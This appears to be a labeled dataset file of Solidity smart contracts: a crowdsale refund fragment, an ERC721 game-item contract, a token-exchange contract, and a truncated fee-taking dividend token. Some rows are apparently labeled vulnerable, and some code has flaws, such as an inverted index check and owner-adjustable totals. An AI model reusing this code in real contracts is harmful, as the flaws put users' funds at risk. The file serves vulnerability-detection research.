purchaseBalances[msg.sender] = 0;
refundedWei = refundedWei.add(sum);
msg.sender.transfer(sum);
Refund(msg.sender, sum);
}
function closeCrowdsale() onlyOwner public {
require(!crowdsaleClosed);
beneficiary.transfer(this.balance);
token.mint(beneficiary, token.cap().sub(token.totalSupply()));
token.transferOwnership(beneficiary);
crowdsaleClosed = true;
CrowdsaleClose();
}
function refundCrowdsale() onlyOwner public {
require(!crowdsaleClosed);
crowdsaleRefund = true;
crowdsaleClosed = true;
CrowdsaleRefund();
}
} | 1 | 3,728 |
pragma solidity 0.4.24;
interface ERC721Receiver {
function onERC721Received(
address _operator,
address _from,
uint _tokenId,
bytes _data
)
public
returns(bytes4);
}
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract MyCryptoChampCore{
struct Champ {
uint id;
uint attackPower;
uint defencePower;
uint cooldownTime;
uint readyTime;
uint winCount;
uint lossCount;
uint position;
uint price;
uint withdrawCooldown;
uint eq_sword;
uint eq_shield;
uint eq_helmet;
bool forSale;
}
struct AddressInfo {
uint withdrawal;
uint champsCount;
uint itemsCount;
string name;
}
struct Item {
uint id;
uint8 itemType;
uint8 itemRarity;
uint attackPower;
uint defencePower;
uint cooldownReduction;
uint price;
uint onChampId;
bool onChamp;
bool forSale;
}
Champ[] public champs;
Item[] public items;
mapping (uint => uint) public leaderboard;
mapping (address => AddressInfo) public addressInfo;
mapping (bool => mapping(address => mapping (address => bool))) public tokenOperatorApprovals;
mapping (bool => mapping(uint => address)) public tokenApprovals;
mapping (bool => mapping(uint => address)) public tokenToOwner;
mapping (uint => string) public champToName;
mapping (bool => uint) public tokensForSaleCount;
uint public pendingWithdrawal = 0;
function addWithdrawal(address _address, uint _amount) public;
function clearTokenApproval(address _from, uint _tokenId, bool _isTokenChamp) public;
function setChampsName(uint _champId, string _name) public;
function setLeaderboard(uint _x, uint _value) public;
function setTokenApproval(uint _id, address _to, bool _isTokenChamp) public;
function setTokenOperatorApprovals(address _from, address _to, bool _approved, bool _isTokenChamp) public;
function setTokenToOwner(uint _id, address _owner, bool _isTokenChamp) public;
function setTokensForSaleCount(uint _value, bool _isTokenChamp) public;
function transferToken(address _from, address _to, uint _id, bool _isTokenChamp) public;
function newChamp(uint _attackPower,uint _defencePower,uint _cooldownTime,uint _winCount,uint _lossCount,uint _position,uint _price,uint _eq_sword, uint _eq_shield, uint _eq_helmet, bool _forSale,address _owner) public returns (uint);
function newItem(uint8 _itemType,uint8 _itemRarity,uint _attackPower,uint _defencePower,uint _cooldownReduction,uint _price,uint _onChampId,bool _onChamp,bool _forSale,address _owner) public returns (uint);
function updateAddressInfo(address _address, uint _withdrawal, bool _updatePendingWithdrawal, uint _champsCount, bool _updateChampsCount, uint _itemsCount, bool _updateItemsCount, string _name, bool _updateName) public;
function updateChamp(uint _champId, uint _attackPower,uint _defencePower,uint _cooldownTime,uint _readyTime,uint _winCount,uint _lossCount,uint _position,uint _price,uint _withdrawCooldown,uint _eq_sword, uint _eq_shield, uint _eq_helmet, bool _forSale) public;
function updateItem(uint _id,uint8 _itemType,uint8 _itemRarity,uint _attackPower,uint _defencePower,uint _cooldownReduction,uint _price,uint _onChampId,bool _onChamp,bool _forSale) public;
function getChampStats(uint256 _champId) public view returns(uint256,uint256,uint256);
function getChampsByOwner(address _owner) external view returns(uint256[]);
function getTokensForSale(bool _isTokenChamp) view external returns(uint256[]);
function getItemsByOwner(address _owner) external view returns(uint256[]);
function getTokenCount(bool _isTokenChamp) external view returns(uint);
function getTokenURIs(uint _tokenId, bool _isTokenChamp) public view returns(string);
function onlyApprovedOrOwnerOfToken(uint _id, address _msgsender, bool _isTokenChamp) external view returns(bool);
}
contract Ownable {
address internal contractOwner;
constructor () internal {
if(contractOwner == address(0)){
contractOwner = msg.sender;
}
}
modifier onlyOwner() {
require(msg.sender == contractOwner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
contractOwner = newOwner;
}
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract ERC721 is Ownable, SupportsInterfaceWithLookup {
using AddressUtils for address;
string private _ERC721name = "Item";
string private _ERC721symbol = "MXI";
bool private tokenIsChamp = false;
address private controllerAddress;
MyCryptoChampCore core;
function setCore(address newCoreAddress) public onlyOwner {
core = MyCryptoChampCore(newCoreAddress);
}
function setController(address _address) external onlyOwner {
controllerAddress = _address;
}
function emitTransfer(address _from, address _to, uint _tokenId) external {
require(msg.sender == controllerAddress);
emit Transfer(_from, _to, _tokenId);
}
event Transfer(address indexed _from, address indexed _to, uint indexed _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint indexed _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
bytes4 private constant InterfaceId_ERC721 = 0x80ac58cd;
bytes4 private constant InterfaceId_ERC721Exists = 0x4f558e79;
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
bytes4 constant InterfaceId_ERC721Enumerable = 0x780e9d63;
bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f;
constructor()
public
{
_registerInterface(InterfaceId_ERC721);
_registerInterface(InterfaceId_ERC721Exists);
_registerInterface(InterfaceId_ERC721Enumerable);
_registerInterface(InterfaceId_ERC721Metadata);
}
modifier onlyOwnerOf(uint _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
modifier canTransfer(uint _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
function balanceOf(address _owner) public view returns (uint) {
require(_owner != address(0));
uint balance;
if(tokenIsChamp){
(,balance,,) = core.addressInfo(_owner);
}else{
(,,balance,) = core.addressInfo(_owner);
}
return balance;
}
function ownerOf(uint _tokenId) public view returns (address) {
address owner = core.tokenToOwner(tokenIsChamp,_tokenId);
require(owner != address(0));
return owner;
}
function exists(uint _tokenId) public view returns (bool) {
address owner = core.tokenToOwner(tokenIsChamp,_tokenId);
return owner != address(0);
}
function approve(address _to, uint _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
core.setTokenApproval(_tokenId, _to,tokenIsChamp);
emit Approval(owner, _to, _tokenId);
}
function getApproved(uint _tokenId) public view returns (address) {
return core.tokenApprovals(tokenIsChamp,_tokenId);
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
core.setTokenOperatorApprovals(msg.sender,_to,_approved,tokenIsChamp);
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(
address _owner,
address _operator
)
public
view
returns (bool)
{
return core.tokenOperatorApprovals(tokenIsChamp, _owner,_operator);
}
function isApprovedOrOwner(
address _spender,
uint _tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
function transferFrom(
address _from,
address _to,
uint _tokenId
)
public
canTransfer(_tokenId)
{
require(_from != address(0));
require(_to != address(0));
core.clearTokenApproval(_from, _tokenId, tokenIsChamp);
core.transferToken(_from, _to, _tokenId, tokenIsChamp);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(
address _from,
address _to,
uint _tokenId
)
public
canTransfer(_tokenId)
{
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(
address _from,
address _to,
uint _tokenId,
bytes _data
)
public
canTransfer(_tokenId)
{
transferFrom(_from, _to, _tokenId);
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function checkAndCallSafeTransfer(
address _from,
address _to,
uint _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(
msg.sender, _from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
function totalSupply() external view returns (uint){
return core.getTokenCount(tokenIsChamp);
}
function tokenByIndex(uint _index) external view returns (uint){
uint tokenIndexesLength = this.totalSupply();
require(_index < tokenIndexesLength);
return _index;
}
function tokenOfOwnerByIndex(address _owner, uint _index) external view returns (uint){
require(_index >= balanceOf(_owner));
require(_owner!=address(0));
uint[] memory tokens;
uint tokenId;
if(tokenIsChamp){
tokens = core.getChampsByOwner(_owner);
}else{
tokens = core.getItemsByOwner(_owner);
}
for(uint i = 0; i < tokens.length; i++){
if(i + 1 == _index){
tokenId = tokens[i];
break;
}
}
return tokenId;
}
function name() external view returns (string _name){
return _ERC721name;
}
function symbol() external view returns (string _symbol){
return _ERC721symbol;
}
function tokenURI(uint _tokenId) external view returns (string){
require(exists(_tokenId));
return core.getTokenURIs(_tokenId,tokenIsChamp);
}
} | 1 | 4,959 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract GIT {
using SafeMath for uint256;
address public owner;
address public tokenAddress;
address public tokenSender;
uint256 public tokenApproves;
mapping (address => uint256) balances;
uint256 public totalExchange = 200000e18;
uint256 public totalDistributed = 0;
uint256 public totalRemaining = totalExchange.sub(totalDistributed);
uint256 constant public unitEthWei = 1e18;
uint256 public unitsOneEthCanBuy = 250e18;
uint256 public unitsUserCanBuyLimitEth = 4e18;
uint256 public unitsUserCanBuyLimit = (unitsUserCanBuyLimitEth.div(unitEthWei)).mul(unitsOneEthCanBuy);
event ExchangeFinished();
event ExchangeStarted();
event LOG_receiveApproval(address _sender,uint256 _tokenValue,address _tokenAddress,bytes _extraData);
event LOG_callTokenTransferFrom(address tokenSender,address _to,uint256 _value);
event LOG_exchange(address _to, uint256 amount);
bool public exchangeFinished = false;
modifier canExchange() {
require(!exchangeFinished);
_;
}
modifier canNotExchange() {
require(exchangeFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function GIT () public {
owner = msg.sender;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function changeTokenAddress(address newTokenAddress) onlyOwner public {
if (newTokenAddress != address(0)) {
tokenAddress = newTokenAddress;
}
}
function changeTokenSender(address newTokenSender) onlyOwner public {
if (newTokenSender != address(0)) {
tokenSender = newTokenSender;
}
}
function changeUnitsOneEthCanBuy(uint256 newUnitsOneEthCanBuy) onlyOwner public {
unitsOneEthCanBuy = newUnitsOneEthCanBuy;
}
function changeUnitsUserCanBuyLimitEth(uint256 newUnitsUserCanBuyLimitEth) onlyOwner public {
unitsUserCanBuyLimitEth = newUnitsUserCanBuyLimitEth;
}
function changeTotalExchange(uint256 newTotalExchange) onlyOwner public {
totalExchange = newTotalExchange;
}
function changeTokenApproves(uint256 newTokenApproves) onlyOwner public {
tokenApproves = newTokenApproves;
}
function changeTotalDistributed(uint256 newTotalDistributed) onlyOwner public {
totalDistributed = newTotalDistributed;
}
function changeTotalRemaining(uint256 newTotalRemaining) onlyOwner public {
totalRemaining = newTotalRemaining;
}
function changeUnitsUserCanBuyLimit(uint256 newUnitsUserCanBuyLimit) onlyOwner public {
unitsUserCanBuyLimit = newUnitsUserCanBuyLimit;
}
function finishExchange() onlyOwner canExchange public returns (bool) {
exchangeFinished = true;
ExchangeFinished();
return true;
}
function startExchange() onlyOwner canNotExchange public returns (bool) {
exchangeFinished = false;
ExchangeStarted();
return true;
}
function () external payable {
exchangeTokens();
}
function exchangeTokens() payable canExchange public {
require(exchange());
if (totalDistributed >= totalExchange) {
exchangeFinished = true;
}
}
function getTokenBalance(address _tokenAddress, address _who) constant public returns (uint256){
ForeignToken t = ForeignToken(_tokenAddress);
uint bal = t.balanceOf(_who);
return bal;
}
function withdraw() onlyOwner public {
uint256 etherBalance = this.balance;
owner.transfer(etherBalance);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function receiveApproval(address _sender,uint256 _tokenValue,address _tokenAddress,bytes _extraData) public returns (bool){
require(tokenAddress == _tokenAddress);
require(tokenSender == _sender);
require(totalExchange <= _tokenValue);
tokenApproves = _tokenValue;
LOG_receiveApproval(_sender, _tokenValue ,_tokenAddress ,_extraData);
return true;
}
function callTokenTransferFrom(address _to,uint256 _value) private returns (bool){
require(tokenSender != address(0));
require(tokenAddress.call(bytes4(bytes32(keccak256("transferFrom(address,address,uint256)"))), tokenSender, _to, _value));
LOG_callTokenTransferFrom(tokenSender, _to, _value);
return true;
}
function exchange() payable canExchange public returns (bool) {
uint256 amount = 0;
if(msg.value == 0){
return false;
}
address _to = msg.sender;
amount = msg.value.mul(unitsOneEthCanBuy.div(unitEthWei));
require(amount.add(balances[msg.sender]) <= unitsUserCanBuyLimit);
totalDistributed = totalDistributed.add(amount);
totalRemaining = totalRemaining.sub(amount);
require(callTokenTransferFrom(_to, amount));
balances[msg.sender] = amount.add(balances[msg.sender]);
if (totalDistributed >= totalExchange) {
exchangeFinished = true;
}
LOG_exchange(_to, amount);
return true;
}
} | 0 | 1,586 |
pragma solidity ^0.7.4;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
mapping(address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER");
_;
}
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED");
_;
}
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IDividendDistributor {
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external;
function setShare(address shareholder, uint256 amount) external;
function deposit() external payable;
function process(uint256 gas) external;
}
contract DividendDistributor is IDividendDistributor {
using SafeMath for uint256;
address _token;
struct Share {
uint256 amount;
uint256 totalExcluded;
uint256 totalRealised;
}
IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
IDEXRouter router;
address[] shareholders;
mapping(address => uint256) shareholderIndexes;
mapping(address => uint256) shareholderClaims;
mapping(address => address) shareholderClaimAs;
mapping(address => Share) public shares;
uint256 public totalShares;
uint256 public totalDividends;
uint256 public totalDistributed;
uint256 public dividendsPerShare;
uint256 public dividendsPerShareAccuracyFactor = 10 ** 36;
uint256 public minPeriod = 1 hours;
uint256 public minDistribution = 1 * (10 ** 18);
uint256 currentIndex;
bool initialized;
modifier initialization() {
require(!initialized);
_;
initialized = true;
}
modifier onlyToken() {
require(msg.sender == _token);
_;
}
constructor (address _router) {
router = _router != address(0)
? IDEXRouter(_router)
: IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_token = msg.sender;
}
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external override onlyToken {
minPeriod = _minPeriod;
minDistribution = _minDistribution;
}
function setShare(address shareholder, uint256 amount) external override onlyToken {
if (shares[shareholder].amount > 0) {
distributeDividend(shareholder);
}
if (amount > 0 && shares[shareholder].amount == 0) {
addShareholder(shareholder);
} else if (amount == 0 && shares[shareholder].amount > 0) {
removeShareholder(shareholder);
}
totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
shares[shareholder].amount = amount;
shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
}
function deposit() external payable override onlyToken {
uint256 balanceBefore = USDC.balanceOf(address(this));
address[] memory path = new address[](2);
path[0] = WETH;
path[1] = address(USDC);
router.swapExactETHForTokensSupportingFeeOnTransferTokens{value : msg.value}(
0,
path,
address(this),
block.timestamp
);
uint256 amount = USDC.balanceOf(address(this)).sub(balanceBefore);
totalDividends = totalDividends.add(amount);
dividendsPerShare = dividendsPerShare.add(dividendsPerShareAccuracyFactor.mul(amount).div(totalShares));
}
function process(uint256 gas) external override onlyToken {
uint256 shareholderCount = shareholders.length;
if (shareholderCount == 0) {return;}
uint256 gasUsed = 0;
uint256 gasLeft = gasleft();
uint256 iterations = 0;
while (gasUsed < gas && iterations < shareholderCount) {
if (currentIndex >= shareholderCount) {
currentIndex = 0;
}
if (shouldDistribute(shareholders[currentIndex])) {
distributeDividend(shareholders[currentIndex]);
}
gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
gasLeft = gasleft();
currentIndex++;
iterations++;
}
}
function shouldDistribute(address shareholder) internal view returns (bool) {
return shareholderClaims[shareholder] + minPeriod < block.timestamp
&& getUnpaidEarnings(shareholder) > minDistribution;
}
function distributeDividend(address shareholder) internal {
if (shares[shareholder].amount == 0) {return;}
uint256 amount = getUnpaidEarnings(shareholder);
if (amount > 0) {
totalDistributed = totalDistributed.add(amount);
swapAndDistributeSpecial(shareholder, amount);
shareholderClaims[shareholder] = block.timestamp;
shares[shareholder].totalRealised = shares[shareholder].totalRealised.add(amount);
shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
}
}
function swapAndDistributeSpecial(address shareholder, uint256 amount) internal{
address claimToken = shareholderClaimAs[shareholder];
if (claimToken == address(0)) {
USDC.transfer(shareholder, amount);
}
else {
address[] memory path = new address[](2);
path[0] = address(USDC);
path[1] = claimToken;
try router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, shareholder, block.timestamp) {} catch{
USDC.transfer(shareholder, amount);
}
}
}
function setClaimAs(address shareholder, address claimtoken) external onlyToken {
shareholderClaimAs[shareholder] = claimtoken;
}
function getClaimAs(address shareholder) public view onlyToken returns (address) {
return shareholderClaimAs[shareholder];
}
function claimDividend() external {
distributeDividend(msg.sender);
}
function getUnpaidEarnings(address shareholder) public view returns (uint256) {
if (shares[shareholder].amount == 0) {return 0;}
uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount);
uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
if (shareholderTotalDividends <= shareholderTotalExcluded) {return 0;}
return shareholderTotalDividends.sub(shareholderTotalExcluded);
}
function getCumulativeDividends(uint256 share) internal view returns (uint256) {
return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
}
function addShareholder(address shareholder) internal {
shareholderIndexes[shareholder] = shareholders.length;
shareholders.push(shareholder);
}
function removeShareholder(address shareholder) internal {
shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length - 1];
shareholderIndexes[shareholders[shareholders.length - 1]] = shareholderIndexes[shareholder];
shareholders.pop();
}
}
contract Hydra is IERC20, Auth {
using SafeMath for uint256;
address USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "Hydra";
string constant _symbol = "HYDRA";
uint8 constant _decimals = 9;
uint256 _totalSupply = 1000000000000 * (10 ** _decimals);
uint256 public _maxTxAmount = _totalSupply / 100;
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) _allowances;
mapping(address => bool) isFeeExempt;
mapping(address => bool) isTxLimitExempt;
mapping(address => bool) isDividendExempt;
uint256 liquidityFee = 300;
uint256 buybackFee = 300;
uint256 reflectionFee = 300;
uint256 marketingFee = 300;
uint256 totalFee = 1200;
uint256 feeDenominator = 10000;
address public autoLiquidityReceiver;
address public marketingFeeReceiver;
uint256 targetLiquidity = 25;
uint256 targetLiquidityDenominator = 100;
IDEXRouter public router;
address public pair;
uint256 public launchedAt;
uint256 buybackMultiplierNumerator = 200;
uint256 buybackMultiplierDenominator = 100;
uint256 buybackMultiplierTriggeredAt;
uint256 buybackMultiplierLength = 30 minutes;
bool public autoBuybackEnabled = false;
uint256 autoBuybackCap;
uint256 autoBuybackAccumulator;
uint256 autoBuybackAmount;
uint256 autoBuybackBlockPeriod;
uint256 autoBuybackBlockLast;
DividendDistributor distributor;
uint256 distributorGas = 500000;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply / 10000;
bool inSwap;
modifier swapping() {
inSwap = true;
_;
inSwap = false;
}
constructor () Auth(msg.sender) {
router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
_allowances[address(this)][address(router)] = uint256(- 1);
distributor = new DividendDistributor(address(router));
isDividendExempt[pair] = true;
isDividendExempt[address(this)] = true;
autoLiquidityReceiver = msg.sender;
marketingFeeReceiver = msg.sender;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function totalSupply() external view override returns (uint256) {return _totalSupply;}
function decimals() external pure override returns (uint8) {return _decimals;}
function symbol() external pure override returns (string memory) {return _symbol;}
function name() external pure override returns (string memory) {return _name;}
function getOwner() external view override returns (address) {return owner;}
function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
function allowance(address holder, address spender) external view override returns (uint256) {return _allowances[holder][spender];}
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(- 1));
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if (_allowances[sender][msg.sender] != uint256(- 1)) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if (inSwap) {return _basicTransfer(sender, recipient, amount);}
checkTxLimit(sender, amount);
if (shouldSwapBack()) {swapBack();}
if (shouldAutoBuyback()) {triggerAutoBuyback();}
if(!launched() && recipient == pair){ require(_balances[sender] > 0); launch(); }
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
if (!isDividendExempt[sender]) {try distributor.setShare(sender, _balances[sender]) {} catch {}}
if (!isDividendExempt[recipient]) {try distributor.setShare(recipient, _balances[recipient]) {} catch {}}
try distributor.process(distributorGas) {} catch {}
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function checkTxLimit(address sender, uint256 amount) internal view {
require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
}
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function getTotalFee(bool selling) public view returns (uint256) {
if (launchedAt + 1 >= block.number) {return feeDenominator.sub(1);}
if(selling && buybackMultiplierTriggeredAt.add(buybackMultiplierLength) > block.timestamp){ return getMultipliedFee(); }
return totalFee;
}
function getMultipliedFee() public view returns (uint256) {
uint256 remainingTime = buybackMultiplierTriggeredAt.add(buybackMultiplierLength).sub(block.timestamp);
uint256 feeIncrease = totalFee.mul(buybackMultiplierNumerator).div(buybackMultiplierDenominator).sub(totalFee);
return totalFee.add(feeIncrease.mul(remainingTime).div(buybackMultiplierLength));
}
function takeFee(address sender, address receiver, uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(getTotalFee(receiver == pair)).div(feeDenominator);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function swapBack() internal swapping {
uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee;
uint256 amountToLiquify = swapThreshold.mul(dynamicLiquidityFee).div(totalFee).div(2);
uint256 amountToSwap = swapThreshold.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
uint256 totalETHFee = totalFee.sub(dynamicLiquidityFee.div(2));
uint256 amountETHLiquidity = amountETH.mul(dynamicLiquidityFee).div(totalETHFee).div(2);
uint256 amountETHReflection = amountETH.mul(reflectionFee).div(totalETHFee);
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
try distributor.deposit{value : amountETHReflection}() {} catch {}
payable(marketingFeeReceiver).call{value : amountETHMarketing, gas : 30000}("");
if (amountToLiquify > 0) {
router.addLiquidityETH{value : amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp
);
emit AutoLiquify(amountETHLiquidity, amountToLiquify);
}
}
function shouldAutoBuyback() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& autoBuybackEnabled
&& autoBuybackBlockLast + autoBuybackBlockPeriod <= block.number
&& address(this).balance >= autoBuybackAmount;
}
function triggerHydraBuyback(uint256 amount, bool triggerBuybackMultiplier) external authorized {
buyTokens(amount, DEAD);
if (triggerBuybackMultiplier) {
buybackMultiplierTriggeredAt = block.timestamp;
emit BuybackMultiplierActive(buybackMultiplierLength);
}
}
function clearBuybackMultiplier() external authorized {
buybackMultiplierTriggeredAt = 0;
}
function triggerAutoBuyback() internal {
buyTokens(autoBuybackAmount, DEAD);
autoBuybackBlockLast = block.number;
autoBuybackAccumulator = autoBuybackAccumulator.add(autoBuybackAmount);
if (autoBuybackAccumulator > autoBuybackCap) {autoBuybackEnabled = false;}
}
function buyTokens(uint256 amount, address to) internal swapping {
address[] memory path = new address[](2);
path[0] = WETH;
path[1] = address(this);
router.swapExactETHForTokensSupportingFeeOnTransferTokens{value : amount}(
0,
path,
to,
block.timestamp
);
}
function setAutoBuybackSettings(bool _enabled, uint256 _cap, uint256 _amount, uint256 _period) external authorized {
autoBuybackEnabled = _enabled;
autoBuybackCap = _cap;
autoBuybackAccumulator = 0;
autoBuybackAmount = _amount;
autoBuybackBlockPeriod = _period;
autoBuybackBlockLast = block.number;
}
function setBuybackMultiplierSettings(uint256 numerator, uint256 denominator, uint256 length) external authorized {
